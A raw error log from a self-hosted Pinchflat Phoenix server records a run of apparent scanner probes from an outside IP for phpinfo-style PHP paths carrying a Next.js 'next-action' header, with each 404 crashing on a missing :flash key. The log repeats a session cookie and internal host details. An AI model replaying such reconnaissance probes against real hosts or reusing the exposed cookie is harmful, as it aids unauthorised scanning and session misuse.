"x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 220, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3524.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7B1wOdqKObkAATbB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 220, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 220, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fa (truncated) 02:10:23.912 [info] GET /info.php 02:10:23.913 [debug] QUERY OK source="settings" db=0.2ms idle=192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.913 [debug] QUERY OK source="settings" db=0.1ms idle=131.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.913 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.913 [error] #PID<0.3525.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 221) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 221, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3525.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7CFcOsROsqIAATcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 221, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 221, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pi (truncated) 02:10:23.969 [info] GET /php.php 02:10:23.970 [debug] QUERY OK source="settings" db=0.2ms idle=121.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.970 [debug] QUERY OK source="settings" db=0.1ms idle=121.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.970 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.970 [error] #PID<0.3526.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 222) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /php.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 222, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3526.0>, params: %{}, path_info: ["php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/php.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7CS706PhPu8AATdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 222, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 222, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat. (truncated) 02:10:24.025 [info] GET /i.php 02:10:24.026 [debug] QUERY OK source="settings" db=0.1ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.026 [debug] QUERY OK source="settings" db=0.1ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:24.026 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:24.026 [error] #PID<0.3527.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 223) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /i.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 223, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3527.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7CgX4vW0bRgAATeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 